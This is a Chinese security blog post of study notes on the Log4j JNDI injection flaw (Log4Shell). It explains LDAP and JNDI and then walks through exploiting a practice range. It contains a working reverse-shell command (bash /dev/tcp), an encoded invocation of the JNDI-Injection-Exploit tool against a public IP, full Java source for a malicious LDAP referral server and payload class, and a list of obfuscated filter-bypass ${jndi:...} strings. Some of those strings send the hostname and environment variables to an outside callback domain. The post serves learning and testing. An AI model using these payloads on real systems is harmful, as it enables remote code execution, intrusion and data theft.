freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Apache Log4j漏洞学习笔记
Haast 2022-01-04 20:48:30 263294
所属地 天津

JNDI注入

LDAP 轻量级目录访问协议

可以理解为是一种目录数据库,概念上类似于马云的中国黄页、城镇电话簿这种。

比较典型的应用场景:统一登录

例如:

一个公司下有很多系统比如OA、VPN之类巴拉巴拉的每个系统都有自己独立的账号,对于用户来说记起来会很麻烦,LDAP协议实现了统一这些接口,集中的存储了用户信息。

JNDI 命名服务(java命名和目录接口)

可以理解为是一个抽象的接口,通过jndi屏蔽了一些访问低层资源的细节

JDBC连接数据库的弊端
1、参数变动导致url得修改
2、数据库产品切换,驱动包修改
3、连接池参数的调整
JNDI:可以根据名字找到一个位置或者服务或者资源、对象
流程:
1、绑定发布一个服务 bind
2、查找服务 lookup

例如连接数据库

jdbc

String URL="jdbc:mysql://127.0.01:3306/xxx?useUnicode=true&characterEncoding=utf-8";
String USER="root";
String PASSWORD="123456";

在spring boot 用JNDI的方式

spring.datasource.jndi-name=jdbc/exampleDB     //指定了JDBC的exampleDB数据库

定义方式如下

/conf/context.xml

<Context>
    <Resource name="jdbc/exampleDB"
              auth="Container"
              type="Javax.sql.DataSource"
              username="root"
              password="123456"
              driverClassName="com.mysql://localhost:3306/xxx"
              maxTotal="8"
              maxIdle="4"/>
</Context>

JNDI可以访问的服务:

DNS、XNam、Novell目录服务、LDAP、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

JNDI动态协议转换

当调用lookup()方法时,如果lookup方法的参数时一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象。

JNDI Naming Reference命名引用

当有客户端通过lookup(“refObj”)获取远程对象时,获取的是一个Reference的存根,由于是Reference的存根,所以客户端会先在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的url动态加载。

为了加载LDAP服务之外的远程对象,它可以去定义一个叫Reference引用的类,并且可以把在LDAP服务之外的这个Reference引用的类注册到LDAP的服务里面,如果通过LDAP服务访问到是一个Reference外部类的时候,是可以从这个远程的服务器去加载这个对象,比如是java编译后的class文件并且会对它进行实例化。

例如:

用lookup去找如下代码中的test资源

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {

        logger.error("${jndi:ldap://127.0.0.1:7912/test}");
    }
}

发现没有这个资源,于是就会从如下代码中指定的地址中去下载那个文件,并且去执行其中的代码

import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    /**
     * class地址 用#Exploit代替Exploit.class
     */
    private static final String EXPLOIT_CLASS_URL = "http://192.168.1.1:80/#Exploit";
JNDI注入的整体流程

1、 通过一个JNDI的接口传入恶意参数Exploit.class

2、访问目录服务,获得Reference存根,发现是一个不存在的refClassName对象

3、从指定远程HTTP服务器地址动态加载对象

4、Exploit.class下载到本地,并执行其中的代码

总结:

1、JNDI的客户端使用了lookup这个参数

2、这个lookup的参数是动态可控的

3、需要构建一个LDAP服务,指定远程加载地址为恶意代码地址

4、在客户端访问LDAP服务不存在的对象

5、客户端下载恶意代码到本地执行

漏洞复现

封神台靶场为例:https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd

准备工作:需要一台具有公网ip的服务器:这里用的腾讯云的vps、还有利用工具

1:由于用的是腾讯云的vps所以需要在安全策略中把用到的端口都放开

2:构造一句反弹shell的语句:bash -i >& /dev/tcp/192.168.1.2/7314 0>&1 //直接改里面的ip和端口就可以

3:https://www.jackson-t.ca/runtime-exec-payloads.html //将改好的语句,放到这个网址编码

4、java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码" -A "服务器ip"

例如:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTQ4LjEyNy83MzE0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "101.43.148.127"

5、将生成的payload放到这里面${jndi:ldap://192.169.1.1:1389/2aqmzu}自行替换掉里面相应的内容

6、将payload输入到登录框中,密码随意敲,点击登录,同时开启nc -lvvp 端口,监听你语句中反弹shell的端口

7、getshell

本地通过代码复现:修改代码中对应的ip及端口号即可

准本工作:需要开启http服务,开放80端口

将如下代码编译成class文件,放在http服务器根目录下

import java.io.IOException;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

执行如下代码

import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    /**
     * class地址 用#Exploit代替Exploit.class
     */
    private static final String EXPLOIT_CLASS_URL = "http://192.168.1.1:80/#Exploit";

    public static void main(String[] args) {
        int port = 7912;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Calc");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {

        logger.error("${jndi:ldap://127.0.0.1:7912/test}");
    }
}

成功执行弹出计算器

bypass

${jndi:ldap://127.0.0.1:1389/ badClassName} 

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk
# web安全 # 学习笔记
本文为 Haast 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Haast LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 2 关注者